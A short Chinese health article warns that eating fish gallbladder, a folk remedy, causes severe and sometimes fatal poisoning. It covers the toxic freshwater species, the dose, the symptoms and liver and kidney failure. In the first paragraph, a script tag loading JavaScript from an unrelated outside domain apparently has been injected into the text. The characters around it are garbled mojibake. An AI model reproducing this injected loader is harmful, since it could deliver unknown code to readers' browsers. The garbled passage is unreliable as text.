生吃鱼胆能治病吗?
我国民间一直流传着鱼胆能明目、清热等说法,因此有的人为了治疗眼病、高血压、气管炎等疾病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>踔辽逃愕āD敲矗杂愕ㄕ娴哪苤尾÷穑恳窖ё抑赋觯杂愕ú坏荒苤尾。炊赡艿贾录毙灾卸镜炔涣际录现氐纳踔廖<吧?/p>
鱼胆的确是一味中药,有清热解毒、清肝明目、止痛的功效,可治目赤肿痛。但关键的一点是它的治疗量和中毒量很相近,用药稍有不当就会使人中毒,一般一条250克重的草鱼的鱼胆就能使人中毒,一条2500克以上的鱼的鱼胆就能致人死亡。
尤其是青鱼、草鱼、白鲢、鲈鱼、鲤鱼等淡水鱼的鱼胆中含有毒性很强的胆汁毒素,而且不易被加热和乙醇(酒精)所破坏。鱼的胆汁中含有一种具有极强毒性的胆汁毒素。它不易被乙醇破坏,其中的主要有毒成分为水溶性鲤醇硫酸酯钠,可导致多脏器功能损伤。
因此,不论生吞、熟食或用酒送服鱼胆,成年人一次吃超过2.5克鱼胆,就有可能导致中毒。一般来说,食用鱼胆者在食用鱼胆后半小时至数小时内,会突然发生腹痛、呕吐、腹泻等类似急性胃肠炎的症状。之后,患者还可能出现肝肿大、黄疸、急性肾功能衰竭等,甚至危及生命。
据解放军全军中毒救治中心主任、解放军307医院内二科主任医师王汉斌介绍,鱼胆有着极强的毒性,鱼胆汁进入人体胃肠道后,其毒性成分首先被吸收并进入肝脏,然后再由肾排出,中毒患者以急性肾衰和肝损害的发病率最高,其次为胃、肠、心脏、脑等脏器受累。若不及时抢救,死亡率很高,每年我国因为吃鱼胆而导致死亡的不下千例。鱼胆的药物作用,是在与其它药材混合后外用才能起效,而不能内服。